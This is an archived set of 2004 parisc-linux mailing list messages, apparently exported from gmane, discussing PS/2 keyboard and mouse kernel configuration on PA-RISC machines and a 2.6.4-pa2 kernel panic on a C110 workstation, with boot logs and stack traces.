	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 07:37:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21065

Helge Deller wrote:
> > I've a B132L running Gentoo. With 2.4 I had the PS/2 keyboard working fine
> > throught a Raritan Compuswitch KVM, but the mouse (wireless Intellimouse
> > clone - 2 buttons pluss roller/middle) was dead. Decided to try out 2.6
> > partly to excercise udev, but mostly in the hope that all the input layer
> > work and PS/2 changes would bring the mouse to life. I should probably add
> > that there are two PCs on the KVM - one running 2.6.3 and one running
> > 2.4.24. Both run the mouse and keyboard flawlessly.
> > 
> > To the point. I grabbed 2.6.3-pa0 from Gentoo hppa-dev-kernel, configured
> > and compiled it. The keyboard and mouse are both dead. I downloaded
> > 2.6.4-rc1-pa2 from cvs.parisc-linux.org but the result is exactly the same.
> > Some info below. Clues anybody?
> .....
> > # Input Device Drivers
> > #
> > CONFIG_INPUT_KEYBOARD=y
> > # CONFIG_KEYBOARD_ATKBD is not set
> 
> Please enable this one (CONFIG_KEYBOARD_ATKBD), and....
> 
> > # CONFIG_KEYBOARD_SUNKBD is not set
> > # CONFIG_KEYBOARD_XTKBD is not set
> > # CONFIG_KEYBOARD_NEWTON is not set
> > CONFIG_KEYBOARD_HIL=y
> > CONFIG_INPUT_MOUSE=y
> > # CONFIG_MOUSE_PS2 is not set
> 
> this one too.
> 

For what it's worth, these settings don't activate my keyboard,
but... tadam...  the mouse is recognised, finally.  However, if
I have to choose to use either keyboard or mouse, I'd choose the
keyboard.

CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
CONFIG_KEYBOARD_HIL=y
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_SERIAL=y
CONFIG_MOUSE_HIL=y
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_PCSPKR is not set
# CONFIG_INPUT_UINPUT is not set
# CONFIG_HP_SDC_RTC is not set

Any idea how to get the keyboard detected again?
(This is a 725/100)

If it helps to provide more information, please let me know and I'll
dig them out.

> In the latest 2.6 kernel series, we switched from a parisc-only
> PS/2 mouse/keyboard driver to the standard linux kernel PS/2
> mouse keyboard drivers.

Makes sense.  However, would it be useful to add this to the config
help texts?  Same for the dependency of a HIL mouse to the MOUSE_PS2,
if HIL always takes PS/2 mice.  I know this is not the case in general,
since my 425 uses HIL but doesn't use PS/2, but then again, it's m68k
and not parisc.  However, it may be the case on PA-RISC, I don't know.
In that case it may make sense to rearrange the ordering and move
MOUSE_HIL up so it can pre-select MOUSE_PS2.

Anyway, here's a short improvement for the MOUSE_PS2 help text:

--- Kconfig.orig	Sun Mar 14 08:27:51 2004
+++ Kconfig	Sun Mar 14 08:31:18 2004
@@ -22,7 +22,8 @@
 	  Say Y here if you have a PS/2 mouse connected to your system. This
 	  includes the standard 2 or 3-button PS/2 mouse, as well as PS/2
 	  mice with wheels and extra buttons, Microsoft, Logitech or Genius
-	  compatible.
+	  compatible. This also includes a PS/2 mouse connected to your HIL
+	  hub on PA-RISC.
 
 	  Synaptics TouchPad users might be interested in a specialized
 	  XFree86 driver at:

Regards,

	Joey

-- 
Life is too short to run proprietary software.  -- Bdale Garbee

Please always Cc to me when replying to me on the lists.


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.4-pa2 panic on c110 :(
Date: Sun, 14 Mar 2004 09:36:06 +0000
Lines: 191
Approved: news@gmane.org
Message-ID: <40542786.8050302@tiscali.be>
References: <405397F3.1050406@tiscali.be>
	<20040314010400.GB26705@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623264 6547 80.91.229.3 (22 Nov 2014 02:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:44 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Sun Mar 14 02:34:45 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DC4848E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 02:34:45 -0700 (MST)
Original-Received: from [62.235.122.168] (port=33096 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2S15-0002uO-4o; Sun, 14 Mar 2004 10:34:43 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <20040314010400.GB26705@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 09:34:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21066

Matthew Wilcox wrote:
> On Sat, Mar 13, 2004 at 11:23:31PM +0000, Joel Soete wrote:
> 
>>I just compile successfully (with defconfig) and seems to boot fine the 
>>last 2.6.4-pa2 kernel on my C110.
>>But as I was starting a rm -rf glibc it panics with console message:
>>arq->state 2
>>Badness in as_requeue_request at drivers/block/as-iosched.c:1479
>>Kernel addresses on the stack:
>>[<10125de8>] printk+0x188/0x1c8
>>[<10105938>] dump_stack+0x18/0x24
>>[<10229688>] as_requeue_request+0x64/0x10c
>>[<102205b0>] elv_requeue_request+0x2c/0x38
>>[<102232bc>] blk_insert_request+0xfc/0x104
>>[<1024cd30>] scsi_queue_insert+0x68/0x9c
>>[<102491ec>] scsi_softirq+0xfc/0x11c
>>[<10170560>] sys_select+0x1d0/0x3b8
>>[<101299c8>] do_softirq+0xf4/0xf8
>>[<1010c1e4>] syscall_do_softirq+0x8/0x10
>>[<1010b088>] intr_check_sig+0x0/0xc 
> 
> 
> That's not good.  First, is this reproducable?
> Second, can you back down to 2.6.4-pa1 and see if that fixes your problem?
Unfortunately no :(; the same crash:
  arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<102296c8>] as_requeue_request+0x64/0x10c
  [<102205f0>] elv_requeue_request+0x2c/0x38
  [<102232fc>] blk_insert_request+0xfc/0x104
  [<1024cd70>] scsi_queue_insert+0x68/0x9c
  [<1019e3a0>] __ext3_journal_stop+0x2c/0x64
  [<1024922c>] scsi_softirq+0xfc/0x11c
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010c1e4>] syscall_do_softirq+0x8/0x10
  [<1010b088>] intr_check_sig+0x0/0xc

> 
> Your C110 uses the lasi710 and zalon drivers, right?  sym2's not involved
> at all, is it?
> 
Yes as far I can read in boot dmesg:
[snip]
Linux version 2.6.4-pa1 (root@hpalin) (gcc version 3.3.3 (Debian 20040306)) #2 Sun Mar 14 09:534FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0000008a
vers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 128 Mb
On node 0 totalpages: 32768
   DMA zone: 32768 pages, LIFO batch:8
   Normal zone: 0 pages, LIFO batch:1
   HighMem zone: 0 pages, LIFO batch:1
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.6.4-1PID hash table entries: 16 (order 
4: 128 bytes)
Console: colour dummy device 160x64
Memory: 125948k available
Calibrating delay loop... 119.60 BogoMIPS
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
2. SkyHawk 100/120 FW-SCSI at 0xf3f8c000 [8/12] { 4, 0x0, 0x01f, 0x00089 }
3. Raven T' Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x032, 0x00081 },  additional addresses: 0x 4. Raven T' Core Centronics at 
0xffd02000 [8/16/0] { 10, 0x0, 0x032, 0x00074 },  additional add 5. Raven T' Audio at 0xffd04000 [8/16/1] { 10, 0x0, 0x032, 0x0007b }
6. Raven T' Lasi Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x032, 0x0008c }
7. Raven T' Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x032, 0x00082 }
8. Raven T' Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x032, 0x0008a }
9. Raven T' Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x032, 0x00084 }
10. Raven T' Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x032, 0x00084 }
11. Raven T' Core PC Floppy at 0xffd0a000 [8/16/10] { 10, 0x0, 0x032, 0x00083 }
12. Raven T' Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x01e, 0x0008e },  additional addresses: 0x 13. Raven T' Wax HIL at 0xffe01000 
[8/20/1] { 10, 0x0, 0x01e, 0x00073 }
14. Raven T' Wax RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x01e, 0x0008c }
15. Raven T' Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x01e, 0x00090 },  additional addres 16. U2-IOA BC GSC+ Port at 
0xf3fbf000 [8/63] { 7, 0x1, 0x501, 0x0000c },  additional addresses: 17. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 
0x580, 0x0000b }
18. Raven T' GSC Core Graphics at 0xf4000000 [10/16] { 10, 0x0, 0x032, 0x00085 },  additional a 19. U2-IOA BC GSC+ Port at 
0xf3fff000 [10/63] { 7, 0x1, 0x501, 0x0000c }
20. Raven 120 T' at 0xfffa0000 [32] { 0, 0x0, 0x58e, 0x00004 }
21. Memory at 0xfffb1000 [49] { 1, 0x0, 0x049, 0x00009 }
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM: cannot register misc device.
Enumerating EISA bus
EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC0E1 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
drivers/usb/core/usb.c: registered new driver hub
STI GSC/PCI core graphics driver Version 0.9a
     id 2b4ded6d-40a00499, conforms to spec rev. 8.04
     graphics card name: HPA208LC1024
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0xf4100000
ikconfig 0.7 with /proc/config*
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 128x48
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xffd07000, IRQ 87
eth%d: 82596 at 0xffd07000, 00 60 B0 07 1E EA IRQ 87.
82596.c $Revision: 1.29 $
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
zalon_probe: Zalon vers field is 0x1, IRQ 34
ncr53c720-0: rev 0xf irq 34
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3e
Using anticipatory io scheduler
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
st: Version 20040213, fixed bufsize 32768, s/g segs 256
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
  sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 >
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sdb: drive cache: write back
  sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 sdb9 >
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
Console: switching to colour frame buffer device 128x48
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
    8regs     :    85.200 MB/sec
    8regs_prefetch:    84.800 MB/sec
    32regs    :    94.000 MB/sec
    32regs_prefetch:    98.800 MB/sec
raid5: using function: 32regs_prefetch (98.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: considering sdb8 ...
md:  adding sdb8 ...
md: sdb7 has different UUID to sdb8

Thanks for your attention,
	Joel


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.4-pa2 panic on c110 :(
Date: Sun, 14 Mar 2004 13:43:19 +0000
Lines: 237
Approved: news@gmane.org
Message-ID: <40546177.90700@tiscali.be>
References: <405397F3.1050406@tiscali.be>	<20040314010400.GB26705@parcelfarce.linux.theplanet.co.uk>
	<40542786.8050302@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623264 6548 80.91.229.3 (22 Nov 2014 02:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:44 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sun Mar 14 06:41:59 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id F35D348E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 06:41:58 -0700 (MST)
Original-Received: from [62.235.122.168] (port=33217 helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2VsJ-0001im-J1; Sun, 14 Mar 2004 14:41:55 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <40542786.8050302@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 13:42:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21067



Joel Soete wrote:
> Matthew Wilcox wrote:
> 
>> On Sat, Mar 13, 2004 at 11:23:31PM +0000, Joel Soete wrote:
>>
>>> I just compile successfully (with defconfig) and seems to boot fine 
>>> the last 2.6.4-pa2 kernel on my C110.
>>> But as I was starting a rm -rf glibc it panics with console message:
>>> arq->state 2
>>> Badness in as_requeue_request at drivers/block/as-iosched.c:1479
>>> Kernel addresses on the stack:
>>> [<10125de8>] printk+0x188/0x1c8
>>> [<10105938>] dump_stack+0x18/0x24
>>> [<10229688>] as_requeue_request+0x64/0x10c
>>> [<102205b0>] elv_requeue_request+0x2c/0x38
>>> [<102232bc>] blk_insert_request+0xfc/0x104
>>> [<1024cd30>] scsi_queue_insert+0x68/0x9c
>>> [<102491ec>] scsi_softirq+0xfc/0x11c
>>> [<10170560>] sys_select+0x1d0/0x3b8
>>> [<101299c8>] do_softirq+0xf4/0xf8
>>> [<1010c1e4>] syscall_do_softirq+0x8/0x10
>>> [<1010b088>] intr_check_sig+0x0/0xc 
>>
>>
>>
>> That's not good.  First, is this reproducable?

And finaly if I apply Grant tips (agianst 2.6.4-pa2) the crash is a bit different:
  arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<10229688>] as_requeue_request+0x64/0x10c
  [<102205b0>] elv_requeue_request+0x2c/0x38
  [<102232bc>] blk_insert_request+0xfc/0x104
  [<1024cd30>] scsi_queue_insert+0x68/0x9c
  [<1012dd24>] update_process_times+0x38/0x54
  [<102491ec>] scsi_softirq+0xfc/0x11c
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010733c>] do_irq_mask+0xbc/0xcc
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10228d34>] as_remove_request+0xf4/0xfc
  [<1010b068>] intr_return+0x0/0x14
  [<1024dcfc>] scsi_request_fn+0x54/0x2c4
  [<101441f0>] kmem_cache_alloc+0x38/0x4c
  [<1016ba78>] may_open+0x58/0x1c8
  [<1015a848>] dentry_open+0x138/0x1c4
  [<10144200>] kmem_cache_alloc+0x48/0x4c
  [<1013efa4>] mempool_alloc+0xac/0x1a0
  [<101617bc>] bio_alloc+0x3c/0x1a4
  [<10160e90>] submit_bh+0x94/0x1e0
  [<101610e8>] ll_rw_block+0x10c/0x148
  [<101a53bc>] journal_brelse_array+0x30/0x48
  [<101a5154>] journal_commit_transaction+0xf18/0x1150
  [<10125b1c>] call_console_drivers+0xd0/0x17c
  [<101a7958>] kjournald+0xc0/0x224
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at include/linux/blkdev.h:543!
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<1024df48>] scsi_request_fn+0x2a0/0x2c4
  [<102205b0>] elv_requeue_request+0x2c/0x38
  [<102232a0>] blk_insert_request+0xe0/0x104
  [<1024cd30>] scsi_queue_insert+0x68/0x9c
  [<1012dd24>] update_process_times+0x38/0x54
  [<102491ec>] scsi_softirq+0xfc/0x11c
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010733c>] do_irq_mask+0xbc/0xcc
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10228d34>] as_remove_request+0xf4/0xfc
  [<1010b068>] intr_return+0x0/0x14
  [<1024dcfc>] scsi_request_fn+0x54/0x2c4
  [<101441f0>] kmem_cache_alloc+0x38/0x4c
  [<1016ba78>] may_open+0x58/0x1c8
  [<1015a848>] dentry_open+0x138/0x1c4
  [<10144200>] kmem_cache_alloc+0x48/0x4c
  [<1013efa4>] mempool_alloc+0xac/0x1a0
  [<101617bc>] bio_alloc+0x3c/0x1a4
  [<10160e90>] submit_bh+0x94/0x1e0
  [<101610e8>] ll_rw_block+0x10c/0x148
  [<101a53bc>] journal_brelse_array+0x30/0x48
  [<101a5154>] journal_commit_transaction+0xf18/0x1150
  [<10125b1c>] call_console_drivers+0xd0/0x17c
  [<101a7958>] kjournald+0xc0/0x224
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at include/linux/blkdev.h:543!
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<1024df48>] scsi_request_fn+0x2a0/0x2c4
  [<1013f0dc>] mempool_free+0x44/0x80
  [<102228b4>] blk_run_queue+0x2c/0x40
  [<1024d1e4>] scsi_run_queue+0x80/0xec
  [<1024d3e8>] scsi_end_request+0xdc/0xf4
  [<1013f0dc>] mempool_free+0x44/0x80
  [<1024d6b8>] scsi_io_completion+0x100/0x3f0
  [<1025f770>] ncr_wakeup_done+0x98/0xb4
  [<102492e0>] scsi_finish_command+0x9c/0xc0
  [<102491dc>] scsi_softirq+0xec/0x11c
  [<10263114>] ncr53c8xx_intr+0x74/0xbc
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010733c>] do_irq_mask+0xbc/0xcc
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10228d34>] as_remove_request+0xf4/0xfc
  [<1010b068>] intr_return+0x0/0x14
  [<1024dcfc>] scsi_request_fn+0x54/0x2c4
  [<101441f0>] kmem_cache_alloc+0x38/0x4c
  [<1016ba78>] may_open+0x58/0x1c8
  [<1015a848>] dentry_open+0x138/0x1c4
  [<10144200>] kmem_cache_alloc+0x48/0x4c
  [<1013efa4>] mempool_alloc+0xac/0x1a0
  [<101617bc>] bio_alloc+0x3c/0x1a4
  [<10160e90>] submit_bh+0x94/0x1e0
  [<101610e8>] ll_rw_block+0x10c/0x148
  [<101a53bc>] journal_brelse_array+0x30/0x48
  [<101a5154>] journal_commit_transaction+0xf18/0x1150
  [<10125b1c>] call_console_drivers+0xd0/0x17c
  [<101a7958>] kjournald+0xc0/0x224
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at include/linux/blkdev.h:543!
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<1024df48>] scsi_request_fn+0x2a0/0x2c4
  [<102205b0>] elv_requeue_request+0x2c/0x38
  [<102232a0>] blk_insert_request+0xe0/0x104
  [<1024cd30>] scsi_queue_insert+0x68/0x9c
  [<10125de8>] printk+0x188/0x1c8
  [<10248e8c>] scsi_dispatch_cmd+0x184/0x22c
  [<102207ac>] elv_remove_request+0x34/0x44
  [<1024de54>] scsi_request_fn+0x1ac/0x2c4
  [<1013f0dc>] mempool_free+0x44/0x80
  [<102228b4>] blk_run_queue+0x2c/0x40
  [<1024d1e4>] scsi_run_queue+0x80/0xec
  [<1024d3e8>] scsi_end_request+0xdc/0xf4
  [<1013f0dc>] mempool_free+0x44/0x80
  [<1024d6b8>] scsi_io_completion+0x100/0x3f0
  [<1025f770>] ncr_wakeup_done+0x98/0xb4
  [<102492e0>] scsi_finish_command+0x9c/0xc0
  [<102491dc>] scsi_softirq+0xec/0x11c
  [<10263114>] ncr53c8xx_intr+0x74/0xbc
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010733c>] do_irq_mask+0xbc/0xcc
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10228d34>] as_remove_request+0xf4/0xfc
  [<1010b068>] intr_return+0x0/0x14
  [<1024dcfc>] scsi_request_fn+0x54/0x2c4
  [<101441f0>] kmem_cache_alloc+0x38/0x4c
  [<1016ba78>] may_open+0x58/0x1c8
  [<1015a848>] dentry_open+0x138/0x1c4
  [<10144200>] kmem_cache_alloc+0x48/0x4c
  [<1013efa4>] mempool_alloc+0xac/0x1a0
  [<101617bc>] bio_alloc+0x3c/0x1a4
  [<10160e90>] submit_bh+0x94/0x1e0
  [<101610e8>] ll_rw_block+0x10c/0x148
  [<101a53bc>] journal_brelse_array+0x30/0x48
  [<101a5154>] journal_commit_transaction+0xf18/0x1150
  [<10125b1c>] call_console_drivers+0xd0/0x17c
  [<101a7958>] kjournald+0xc0/0x224
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at include/linux/blkdev.h:543!
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<1024df48>] scsi_request_fn+0x2a0/0x2c4
  [<10222708>] blk_remove_plug+0x5c/0x84
  [<102228b4>] blk_run_queue+0x2c/0x40
  [<1024d3e8>] scsi_end_request+0xdc/0xf4
  [<1013f0dc>] mempool_free+0x44/0x80
  [<1024d6b8>] scsi_io_completion+0x100/0x3f0
  [<1025f770>] ncr_wakeup_done+0x98/0xb4
  [<102492e0>] scsi_finish_command+0x9c/0xc0
  [<102491dc>] scsi_softirq+0xec/0x11c
  [<10263114>] ncr53c8xx_intr+0x74/0xbc
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010733c>] do_irq_mask+0xbc/0xcc
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10228d34>] as_remove_request+0xf4/0xfc
  [<1010b068>] intr_return+0x0/0x14
  [<1024dcfc>] scsi_request_fn+0x54/0x2c4
  [<101441f0>] kmem_cache_alloc+0x38/0x4c
  [<1016ba78>] may_open+0x58/0x1c8
  [<1015a848>] dentry_open+0x138/0x1c4
  [<10144200>] kmem_cache_alloc+0x48/0x4c
  [<1013efa4>] mempool_alloc+0xac/0x1a0
  [<101617bc>] bio_alloc+0x3c/0x1a4
  [<10160e90>] submit_bh+0x94/0x1e0
  [<101610e8>] ll_rw_block+0x10c/0x148
  [<101a53bc>] journal_brelse_array+0x30/0x48
  [<101a5154>] journal_commit_transaction+0xf18/0x1150
  [<10125b1c>] call_console_drivers+0xd0/0x17c
  [<101a7958>] kjournald+0xc0/0x224
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
  [<10125de8>] printk+0x188/0x1c8
  [<10105938>] dump_stack+0x18/0x24
  [<10229688>] as_requeue_request+0x64/0x10c
  [<102205b0>] elv_requeue_request+0x2c/0x38
  [<102232bc>] blk_insert_request+0xfc/0x104
  [<1024cd30>] scsi_queue_insert+0x68/0x9c
  [<102492e0>] scsi_finish_command+0x9c/0xc0
  [<102491ec>] scsi_softirq+0xfc/0x11c
  [<10263114>] ncr53c8xx_intr+0x74/0xbc
  [<101299c8>] do_softirq+0xf4/0xf8
  [<1010733c>] do_irq_mask+0xbc/0xcc
  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
  [<10228d34>] as_remove_request+0xf4/0xfc
  [<1010b068>] intr_return+0x0/0x14
  [<1024dcfc>] scsi_request_fn+0x54/0x2c4
  [<101441f0>] kmem_cache_alloc+0x38/0x4c
  [<1016ba78>] may_open+0x58/0x1c8
  [<1015a848>] dentry_open+0x138/0x1c4
  [<10144200>] kmem_cache_alloc+0x48/0x4c
